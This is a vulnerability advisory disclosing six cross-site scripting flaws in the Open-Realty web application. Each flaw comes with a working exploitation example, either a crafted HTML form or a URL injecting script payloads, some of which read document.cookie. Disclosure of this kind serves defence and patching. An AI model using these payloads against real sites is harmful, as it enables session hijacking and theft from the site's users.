Advisory Details:

High-Tech Bridge SA Security Research Lab has discovered multiple vulnerabilities in Open-Realty, which can be exploited to perform cross-site scripting attacks.

1) Cross-site scripting vulnerabilities in Open-Realty
1.1 Input passed via the "name", "email", "friend_email", "subject", "message" POST parameters to index.php is not properly sanitised before being returned to the user. This can be exploited to execute arbitrary HTML and script code in a user's browser session in context of affected website.
Exploitation example:
<form action="http://[host]/index.php?action=contact_friend&popup=yes&listing_id=1 " method="post">
<input type="hidden" name="name" value='"><script>alert(1);</script>'>
<input type="hidden" name="email" value='"><script>alert(2);</script>'>
<input type="hidden" name="friend_email" value='"><script>alert(3);</script>'>
<input type="hidden" name="subject" value='"><script>alert(4);</script>'>
<input type="hidden" name="message" value='</textarea><script>alert(5);</script>'>
<input type="hidden" name="submit" value='send'>
<input name="send" value="EXPLOIT" type="submit">
</form>

1.2 Input passed via the "searchtext" GET parameter to index.php is not properly sanitised before being returned to the user. This can be exploited to execute arbitrary HTML and script code in a user's browser session in context of affected website.
Exploitation example:
http://[host]/index.php?searchtext=%22%3E%3Cscript%3Ealert%28document.cookie %29;%3C/script%3E
1.3 Input passed via the "listing_id" GET parameter and "comments", "source" POST parameters to index.php is not properly sanitised before being returned to the user. This can be exploited to execute arbitrary HTML and script code in a user's browser session in context of affected website.
Exploitation example:
<form action="http://[host]/index.php?action=contact_agent&listing_id=1<script>ale rt(1);</script> " method="post">
<input type="hidden" name="comments" value='<script>alert(2);</script>'>
<input type="hidden" name="formaction" value='create_new_lead'>
<input type="hidden" name="listingID" value='1'>
<input type="hidden" name="source" value='<script>alert(3);</script>'>
<input name="send" value="EXPLOIT" type="submit">
</form>

1.4 Input passed via the "path" GET parameter to /include/class/ckeditor/custom/filemanager/connectors/php/filemanager.php is not properly sanitised before being returned to the user. This can be exploited to execute arbitrary HTML and script code in a user's browser session in context of affected website.
Exploitation example:
http://[host]/include/class/ckeditor/custom/filemanager/connectors/php/filem anager.php?mode=getfolder&path=%3Cimg%20src=%221%22%20onerror=javascript:ale rt%28document.cookie%29;%3E
1.5 Input passed via the "type" GET parameter to /admin/index.php is not properly sanitised before being returned to the user. This can be exploited to execute arbitrary HTML and script code in a user's browser session in context of affected website.
Exploitation example:
http://[host]/admin/index.php?action=edit_user_template&type=1%3Cscript%3Eal ert%28document.cookie%29;%3C/script%3E
1.6 Input passed via the "query" POST parameter to index.php is not properly sanitised before being returned to the user. This can be exploited to execute arbitrary HTML and script code in a user's browser session in context of affected website.
Exploitation example:
<form action="http://[host]/index.php?action=save_search&printer_friendly= " method="post">
<input type="hidden" name="notify" value='no'>
<input type="hidden" name="title" value=''>
<input type="hidden" name="query" value='"><script>alert(document.cookie);</script>'>
<input name="send" value="EXPLOIT" type="submit">
</form>
